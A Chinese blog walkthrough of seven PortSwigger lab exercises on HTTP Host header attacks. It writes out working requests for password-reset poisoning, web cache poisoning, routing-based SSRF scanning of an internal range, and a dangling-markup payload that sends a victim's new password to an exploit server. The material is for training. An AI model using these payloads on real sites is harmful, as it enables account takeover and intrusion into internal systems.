burp靶场--host攻击

burp靶场–host攻击

https://portswigger.net/web-security/host-header#what-is-an-http-host-header-attack

在本节中,我们将讨论错误配置和有缺陷的业务逻辑如何通过 HTTP 主机标头使网站遭受各种攻击。我们将概述用于识别易受 HTTP 主机标头攻击的网站的高级方法,并演示如何利用此方法进行以下类型的攻击:

密码重置中毒 实验室
Web 缓存中毒 实验室
利用经典的服务器端漏洞
绕过 实验室认证
虚拟主机暴力破解
基于路由的 SSRF LABS
连接状态攻击 实验室

实验1:基本密码重置中毒

### 实验要求:
该实验室容易受到密码重置中毒的影响。用户carlos会不小心点击他收到的电子邮件中的任何链接。要解决实验室问题,请登录卡洛斯的帐户。
您可以使用以下凭据登录您自己的帐户:wiener:peter。发送到此帐户的任何电子邮件都可以通过漏洞利用服务器上的电子邮件客户端进行读取。

### 实验操作:
转到登录页面并注意“忘记密码?” 功能。请求为您自己的帐户重置密码。
转到漏洞利用服务器并打开电子邮件客户端。请注意,您已收到一封电子邮件,其中包含重置密码的链接。请注意,URL 包含查询参数temp-forgot-password-token。
单击该链接并观察系统提示您输入新密码。将您的密码重置为您想要的任何内容。
在 Burp 中,研究 HTTP 历史。请注意,该POST /forgot-password请求用于触发密码重置电子邮件。其中包含将其密码重置为主体参数的用户名。将此请求发送到 Burp Repeater。
在 Burp Repeater 中,观察到您可以将 Host 标头更改为任意值,并且仍然成功触发密码重置。返回电子邮件服务器并查看您收到的新电子邮件。请注意,电子邮件中的 URL 包含您的任意主机标头,而不是通常的域名。
返回 Burp Repeater,将 Host 标头更改为漏洞利用服务器的域名 ( YOUR-EXPLOIT-SERVER-ID.exploit-server.net) 并将username参数更改为carlos。发送请求。
转到您的漏洞利用服务器并打开访问日志。您将看到一个请求GET /forgot-password,其temp-forgot-password-token参数包含 Carlos 的密码重置令牌。记下此标记。
转到您的电子邮件客户端并复制第一封电子邮件中的真实密码重置 URL。在浏览器中访问此 URL,但将重置令牌替换为从访问日志中获取的令牌。
将卡洛斯的密码更改为您想要的任何内容,然后登录以carlos解决实验室问题。

在这里插入图片描述
注销用户wiener:来到登陆功能查看到忘记密码功能:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
/forgot-password?temp-forgot-password-token=n7ffa8q4ph4fo6xe8dm5se2qk2y4btgs
自己的密码修改连接替换为目标用户carlos的token,进行密码修改:
https://0aa800880469a6b080532192009f00a3.web-security-academy.net/forgot-password?temp-forgot-password-token=ox79jwe6oqs0t6mho2e63exv33op67qb
最终:
https://0aa800880469a6b080532192009f00a3.web-security-academy.net/forgot-password?temp-forgot-password-token=n7ffa8q4ph4fo6xe8dm5se2qk2y4btgs
在这里插入图片描述
重置目标用户密码后登陆成功:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

实验2:主机标头身份验证绕过

### 实验要求:
本实验根据 HTTP 主机标头对用户的权限级别进行假设。
要解决该实验,请访问管理面板并删除用户carlos。

### 实验操作:
GET /将收到 200 响应的请求 发送到 Burp Repeater。请注意,您可以将 Host 标头更改为任意值,并且仍然可以成功访问主页。
浏览/robots.txt并观察到有一个管理面板,位于/admin。
尝试浏览到/admin. 您无权访问,但请注意错误消息,该消息表明本地用户可以访问该面板。
将GET /admin请求发送到 Burp Repeater。
在 Burp Repeater 中,将 Host 标头更改为localhost并发送请求。请注意,您现在已成功访问管理面板,其中提供了删除不同用户的选项。
将请求行更改为GET /admin/delete?username=carlos并发送删除请求carlos以解决实验室问题。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

实验3:通过不明确的请求造成 Web 缓存中毒

### 实验要求:
由于缓存和后端应用程序处理不明确请求的方式存在差异, 该实验室容易受到Web 缓存中毒的影响。毫无戒心的用户会定期访问该网站的主页。
要解决该实验室问题,请毒害缓存,以便主页alert(document.cookie)在受害者的浏览器中执行。

### 实验操作:
将收到 200 响应的请求发送GET /到 Burp Repeater 并研究实验室的行为。观察网站验证 Host 标头。篡改后,您仍然无法访问主页。
在原始响应中,请注意详细的缓存标头,它会告诉您何时获得缓存命中以及缓存的响应有多旧。将任意查询参数添加到您的请求中以充当缓存破坏器,例如GET /?cb=123. 每次您希望从后端服务器获得新响应时,只需更改此参数即可。
请注意,如果您添加具有任意值的第二个 Host 标头,则在验证和路由请求时这似乎会被忽略。至关重要的是,请注意,第二个 Host 标头的任意值反映在用于从 导入脚本的绝对 URL 中/resources/js/tracking.js。
删除第二个主机标头并使用相同的缓存破坏器再次发送请求。请注意,您仍然收到包含注入值的相同缓存响应。
转到漏洞利用服务器并创建一个/resources/js/tracking.js包含有效负载的文件alert(document.cookie)。存储漏洞并复制漏洞服务器的域名。
返回 Burp Repeater,添加第二个 Host 标头,其中包含您的漏洞利用服务器域名。该请求应如下所示:

GET /?cb=123 HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Host: YOUR-EXPLOIT-SERVER-ID.exploit-server.net
发送请求几次,直到您获得响应中反映的漏洞利用服务器 URL 的缓存命中。要模拟受害者,请在 URL 中使用相同的缓存破坏程序来请求浏览器中的页面。确保alert()火灾。
在 Burp Repeater 中,删除所有缓存破坏程序并继续重放请求,直到重新毒害缓存为止。当受害者访问主页时,实验室就被解决了。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

实验4:基于路由的 SSRF

### 实验要求:
该实验容易通过主机标头 受到基于路由的SSRF攻击。您可以利用此漏洞访问位于内部 IP 地址上的不安全的 Intranet 管理面板。
要解决该实验,请访问位于范围内的内部管理面板192.168.0.0/24,然后删除用户carlos。

### 实验操作:
GET /将收到 200 响应的请求 发送到 Burp Repeater。
在 Burp Repeater 中,选择 Host 标头值,右键单击并选择插入 Collaborator 负载以将其替换为 Collaborator 域名。发送请求。
转到“协作者”选项卡并单击“立即投票”。您应该在表中看到一些网络交互,包括 HTTP 请求。这确认您能够向任意服务器发出网站的中间件请求。
将请求发送 GET /给 Burp Intruder。
转到 Burp Intruder 并选择“位置”选项卡。
取消选择更新主机标头以匹配目标。
删除主机标头的值并将其替换为以下 IP 地址,并将有效负载位置添加到最后的八位字节:

Host: 192.168.0.§0§
在有效负载选项卡上,选择有效负载类型Numbers。在有效负载设置下,输入以下值:

From: 0
To: 255
Step: 1
单击开始攻击。警告将通知您主机标头与指定的目标主机不匹配。由于我们是故意这样做的,因此您可以忽略此消息。
攻击完成后,单击“状态”列对结果进行排序。请注意,单个请求收到了 302 响应,将您重定向到/admin. 将此请求发送到 Burp Repeater。
在 Burp Repeater 中,将请求行更改为GET /admin并发送请求。在响应中,您会看到您已成功访问管理面板。
研究删除用户的表单。请注意,它将生成一个带有CSRF令牌和参数POST的请求。您需要手动创建一个等效的删除请求。 /admin/deleteusernamecarlos
将请求中的路径更改为/admin/delete. 从显示的响应中复制 CSRF 令牌,并将其作为查询参数添加到您的请求中。还添加一个username包含 的参数carlos。请求行现在应如下所示,但具有不同的 CSRF 令牌:

GET /admin/delete?csrf=QCT5OmPeAAPnyTKyETt29LszLL7CbPop&username=carlos
从显示的响应中的标头复制会话 cookie Set-Cookie,并将其添加到您的请求中。
右键单击您的请求并选择更改请求方法。Burp 会将其转换为POST请求。
carlos发送删除并解决实验室的 请求。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

实验5:通过有缺陷的请求解析实现 SSRF

### 实验要求:
由于对请求目标主机的解析 存在缺陷,该实验室容易受到基于路由的SSRF 的影响。您可以利用此漏洞访问位于内部 IP 地址的不安全的 Intranet 管理面板。
要解决该实验,请访问位于范围内的内部管理面板192.168.0.0/24,然后删除用户carlos。

### 实验操作:
将收到 200 响应的请求发送GET /到 Burp Repeater 并研究实验室的行为。请注意,网站会验证 Host 标头并阻止任何已修改 Host 标头的请求。
请注意,您还可以通过在请求行中提供绝对 URL 来访问主页,如下所示:

GET https://YOUR-LAB-ID.web-security-academy.net/
请注意,执行此操作时,修改 Host 标头不会再导致您的请求被阻止。相反,您会收到超时错误。这表明正在验证绝对 URL 而不是主机标头。
使用Burp Collaborator确认您可以通过这种方式向任意服务器发出网站的中间件请求。例如,以下请求将触发对您的 Collaborator 服务器的 HTTP 请求:

GET https://YOUR-LAB-ID.web-security-academy.net/
Host: BURP-COLLABORATOR-SUBDOMAIN
右键单击并选择插入 Collaborator 有效负载,以在请求中指示的位置插入 Burp Collaborator 子域。
将包含绝对 URL 的请求发送到 Burp Intruder。
转到 Burp Intruder 并选择“位置”选项卡。
取消选择更新主机标头以匹配目标。
使用 Host 标头扫描 IP 范围192.168.0.0/24以识别管理界面的 IP 地址。将此请求发送到 Burp Repeater。
在 Burp Repeater 中,附加/admin到请求行中的绝对 URL 并发送请求。请注意,您现在可以访问管理面板,包括用于删除用户的表单。
将请求中的绝对 URL 更改为指向/admin/delete。从显示的响应中复制CSRF令牌,并将其作为查询参数添加到您的请求中。还添加一个username包含 的参数carlos。请求行现在应如下所示,但具有不同的 CSRF 令牌:

GET https://YOUR-LAB-ID.web-security-academy.net/admin/delete?csrf=QCT5OmPeAAPnyTKyETt29LszLL7CbPop&username=carlos
从显示的响应中的标头复制会话 cookie Set-Cookie,并将其添加到您的请求中。
右键单击您的请求并选择“更改请求方法”。Burp 会将其转换为POST请求。
carlos发送删除并解决实验室的 请求。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
fuzz内部主机:
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

实验6:通过连接状态攻击绕过主机验证

### 实验要求:
该实验容易通过主机标头 受到基于路由的SSRF攻击。尽管前端服务器最初可能会执行主机标头的可靠验证,但它会根据收到的第一个请求对连接上的所有请求做出假设。
要解决该实验,请利用此行为访问位于 的内部管理面板192.168.0.1/admin,然后删除用户carlos。

### 实验操作:
将GET /请求发送到 Burp Repeater。

进行以下调整:

将路径更改为/admin.

Host将标题 更改为192.168.0.1.

发送请求。请注意,您只是被重定向到主页。

复制选项卡,然后将两个选项卡添加到新组中。

选择第一个选项卡并进行以下调整:

将路径更改回/.

将Host标题更改回YOUR-LAB-ID.h1-web-security-academy.net.

使用发送 按钮旁边的下拉菜单,将发送模式更改为按顺序发送组(单连接)。

将Connection标题更改为keep-alive.

发送序列并检查响应。观察第二个请求已成功访问管理面板。

研究响应并观察管理面板包含用于删除给定用户的 HTML 表单。记下以下详细信息:

动作属性 ( /admin/delete)

输入的名称 ( username)

令牌csrf。

在组中的第二个选项卡上,使用这些详细信息来复制提交表单时将发出的请求。结果应该是这样的:

POST /admin/delete HTTP/1.1
Host: 192.168.0.1
Cookie: _lab=YOUR-LAB-COOKIE; session=YOUR-SESSION-COOKIE
Content-Type: x-www-form-urlencoded
Content-Length: CORRECT

csrf=YOUR-CSRF-TOKEN&username=carlos
通过单个连接按顺序发送请求来解决实验问题。

访问主页:404
在这里插入图片描述
在这里插入图片描述
略…

实验7:通过悬挂标记重置密码中毒

### 实验要求:
该实验室很容易因悬挂标记而受到密码重置中毒的影响。要解决实验室问题,请登录卡洛斯的帐户。
您可以使用以下凭据登录您自己的帐户:wiener:peter。发送到此帐户的任何电子邮件都可以通过漏洞利用服务器上的电子邮件客户端进行读取。

### 实验操作:
转到登录页面并请求为您自己的帐户重置密码。
进入漏洞利用服务器,打开邮件客户端,找到密码重置邮件。请注意,电子邮件中的链接仅指向通用登录页面,并且 URL 不包含密码重置令牌。相反,新密码会直接在电子邮件正文中发送。
在代理历史记录中,研究对请求的响应GET /email。请注意,电子邮件的 HTML 内容被写入字符串,但DOMPurify在浏览器呈现之前会使用库对其进行清理。
在电子邮件客户端中,请注意,您可以选择以原始 HTML 形式查看每封电子邮件。与电子邮件的渲染版本不同,这似乎没有经过任何处理。
将POST /forgot-password请求发送到 Burp Repeater。观察到篡改 Host 标头中的域名会导致服务器错误。但是,您可以将任意非数字端口添加到主机标头,并且仍然可以正常访问该站点。发送此请求仍会触发密码重置电子邮件:

Host: YOUR-LAB-ID.web-security-academy.net:arbitraryport
在电子邮件客户端中,检查电子邮件的原始版本。请注意,注入的端口在链接内反映为未转义的单引号字符串。随后是新密码。
再次发送POST /forgot-password请求,但这次使用端口来打破字符串并注入指向您的漏洞利用服务器的悬空标记有效负载:

Host: YOUR-LAB-ID.web-security-academy.net:'<a href="//YOUR-EXPLOIT-SERVER-ID.exploit-server.net/?
检查电子邮件客户端。您应该收到一封新电子邮件,其中大部分内容丢失。转到漏洞利用服务器并检查访问日志。请注意,有一个以 开头的请求条目 GET /?/login'>[…],其中包含电子邮件正文的其余部分,包括新密码。
在Burp Repeater中,最后一次发送请求,但将username参数更改为carlos。刷新访问日志并从相应的日志条目中获取Carlos的新密码。
使用此新密码登录carlos来解决实验问题

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
邮箱看到的恶意标签如下:
在这里插入图片描述
重置目标用户carlos的密码:
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

参考:

### portswigger官方:host头攻击:
https://portswigger.net/web-security/host-header#what-is-an-http-host-header-attack
### 关于Host头的一些漏洞
https://blog.csdn.net/weixin_59571952/article/details/126087359
### 一文讲解HTTP报头攻击
https://mp.weixin.qq.com/s/VELsItUdDQCkNzIjyLGOdw
### Host头注入
https://mp.weixin.qq.com/s/c2CawipYaC1JqqMMZ2QaPw
### owasp:Host Header Injection
https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/07-Input_Validation_Testing/17-Testing_for_Host_Header_Injection
### PayloadsAllTheThings:
https://github.com/swisskyrepo/PayloadsAllTheThings

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/343630.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

RabbitMQ中交换机的应用及原理,案例的实现

目录 一、介绍 1. 概述 2. 作用及优势 3. 工作原理 二、交换机Exchange 1. Direct 2. Topic 3. Fanout 三、代码案例 消费者代码 1. 直连direct 生产者代码 测试 2. 主题topic 生产者代码 测试 3. 扇形fanout 生产者代码 测试 每篇一获 一、介绍 1. …

告别无法访问的Github

告别无法访问的Github 最近在使用github的时候又登不上去了&#xff0c;挂着VPN都没用 但是自己很多项目都存在github&#xff0c;登不上去那不得损失很大 所以一行必须整点儿特殊手段来访问&#xff0c;顺便分享一下 1.加速器 网上很多解决方案都是在分享各种加速器来登陆…

深入理解JS语法与变量

深入理解JS语法与变量 前言初识JavaScriptJavaScript的语言风格和特性 JavaScript的书写位置认识输出语句学会处理报错REPL 环境 变量定义变量改变变量变量的合法命名变量的默认值变量的常见错误等号表示赋值同时声明多个变量 变量声明提升注意事项 结语 前言 在现代Web开发中…

idea中debug Go程序报错error layer=debugger could not patch runtime.mallogc

一、问题场景 在idea中配置了Go编程环境&#xff0c;可以运行Go程序&#xff0c;但是无法debug&#xff0c;报错error layerdebugger could not patch runtime.mallogc: no type entry found, use ‘types’ for a list of valid types 二、解决方案 这是由于idea中使用的d…

物流实时数仓——概述与准备工作

目录 一、架构设计与技术栈 (一)数仓架构设计 (二)所用技术栈 (三)最终效果 二、关于离线与实时的相关概念 三、实时数仓设计思路 一、架构设计与技术栈 (一)数仓架构设计 (二)所用技术栈 Hadoop 3.3.4 Zookeeper 3.7.1 Kafka 3.3.1 Hbase 2.4.11 Redis 6.0.8 Flink 1.17…

HCIP-BGP实验4

搭建实验拓扑图 要求 1.全网可达 2.isp只能配置IP地址 实验开始 配置IP地址及环回 r1,r2,r9,r10配ipv4地址(以r1为例) [Huawei]sysname r1 [r1]interface g0/0/0 [r1-GigabitEthernet0/0/0]ip address 12.1.1.1 24 [r1-GigabitEthernet0/0/0]q [r1]interface LoopBack 0…

全双工通信协议:WebSocket

全双工通信协议&#xff1a;WebSockets 前言何时使用WebSocketsWebSocket APITextWebSocketHandlerWebSocketConfigurerWebSocket握手配置服务器允许的来源心跳包Java WebSocket API案例一&#xff1a;前端发送消息并接收后端响应案例二&#xff1a;模拟后端向前端推送消息案例…

实战:加密传输数据解密

前言 下面将分享一些实际的渗透测试经验&#xff0c;帮助你应对在测试中遇到的数据包内容加密的情况。我们将以实战为主&#xff0c;技巧为辅&#xff0c;进入逆向的大门。 技巧 开局先讲一下技巧&#xff0c;掌握好了技巧&#xff0c;方便逆向的时候可以更加快速的找到关键…

元数据管理在数据仓库中的实践应用

一、什么是数据仓库的元数据管理? 1、什么是元数据? 元数据(Metadata),又称中介数据、中继数据,为描述数据的数据(data about data)。 抽象的描述:一组用于描述数据的数据组,该数据组的一切信息都描述了该数据的某方面特征,则该数据组即可被称为元数据。 举几个…

【Android 10】 BatteryController

学习了一下电池的相关模式&#xff0c;也就是它的观察者模式&#xff0c;先附上图 图应该挺清晰的&#xff0c;BatteryControllerImpl就是被观察者&#xff0c;BatteryControllerImpl重写了CallbackController的两个方法用于添加或移除观察者。 void addCallback(T listener);…

【vueCms】vuecms_xg安装与使用视频讲解【视频讲解】

克隆项目 gitee项目地址:https://gitee.com/derekgo/vue-cms_xg git clone gitgitee.com:derekgo/vue-cms_xg.git开启自动化脚本 点击后&#xff0c;运行http://localhost:3002 本地配置 开启本地redis 开启redis redis-server.exe redis.windows.conf重启redis 注意:…

系统性学习vue-vue-router

vue-router 路由的简介SPA路由 路由的基本使用安装引入使用标签式编程式 注意 嵌套(多级)路由路由传参query参数params参数 命名路由路由的props配置router-link的replace属性编程式路由导航路由跳转后退和前进 缓存路由组件两个新的生命周期钩子函数路由守卫全局前置守卫全局后…

Python中的os模块

目录 1、获取当前路径 2、获取父级路径 3、更改路径 4、罗列当前路径下方所有内容 5、创建文件夹 6、创建多级文件夹 7、删除文件夹 8、删除文件 9、重命名文件 10、walk 11、path os 是 Python的内置模块之一&#xff0c;提供了与操作系统交互的功能。它可以用于执…

Vue3 ref与reactive

✨ 专栏介绍 在当今Web开发领域中&#xff0c;构建交互性强、可复用且易于维护的用户界面是至关重要的。而Vue.js作为一款现代化且流行的JavaScript框架&#xff0c;正是为了满足这些需求而诞生。它采用了MVVM架构模式&#xff0c;并通过数据驱动和组件化的方式&#xff0c;使…

深度学习技巧应用33-零门槛实现模型在多个GPU的分布式流水线训练的应用技巧

大家好&#xff0c;我是微学AI&#xff0c;今天给大家介绍一下深度学习技巧应用33零门槛实现模型在多个GPU的分布式流水线训练的应用技巧&#xff0c;本文将帮助大家零门槛的实现模型在多个GPU的并行训练&#xff0c;如果你手头上没有GPU资源&#xff0c;根据本文的介绍也可实现…

如何测试python 版本与 torch 、 torchvision 版本是否对应?

python 版本与 torch 、 torchvision 版本的对应关系如下图所示&#xff1a; 打开 anaconda powershell prompt&#xff0c;输入如下命令&#xff1a; >python>>>import torch>>>c torch.ones((3,1)) //创建矩阵>>>c c.cuda(0) …

备考 | 2024年NOC大赛 15套图形化编程、Python、C++初复决赛真题试卷

为了让大家备考2024年NOC大赛&#xff0c;今天给大家分享全国中小学信息技术创新与实践大赛(NOC大赛&#xff09;2023年图形化编程Scratch小低组、小高组初赛复赛决赛6套真题试卷&#xff0c;Python编程小高组、初中组初赛复赛决赛6套真题试卷&#xff0c;C编程初中组初赛复赛决…

『论文阅读|2024 WACV 多目标跟踪Deep-EloU|纯中文版』

论文题目&#xff1a; Iterative Scale-Up ExpansionIoU and Deep Features Association for Multi-Object Tracking in Sports 论文特点&#xff1a; 作者提出了一种迭代扩展的 ExpansionIoU 和深度特征关联方法Deep-EIoU&#xff0c;用于体育场景中的多目标跟踪&#xff0c;旨…

选现货白银投资划不划算?

可以肯定的是选择现货白银投资是划算的&#xff0c;但投资者需要有足够的知识和经验&#xff0c;以及对市场的敏锐观察力。只有这样&#xff0c;投资者才能在现货白银投资中获取收益。在投资市场上&#xff0c;白银作为一种特殊的投资品种&#xff0c;一直以来都备受投资者们的…

macOS跨进程通信: TCP Socket 创建实例

macOS跨进程通信: TCP Socket 创建实例 一&#xff1a; 简介 Socket 是 网络传输的抽象概念。 一般我们常用的有Tcp Socket和 UDP Scoket&#xff0c; 和类Unix 系统&#xff08;包括Mac&#xff09;独有的 Unix Domain Socket&#xff08;UDS&#xff09;。 Tcp Socket 能够…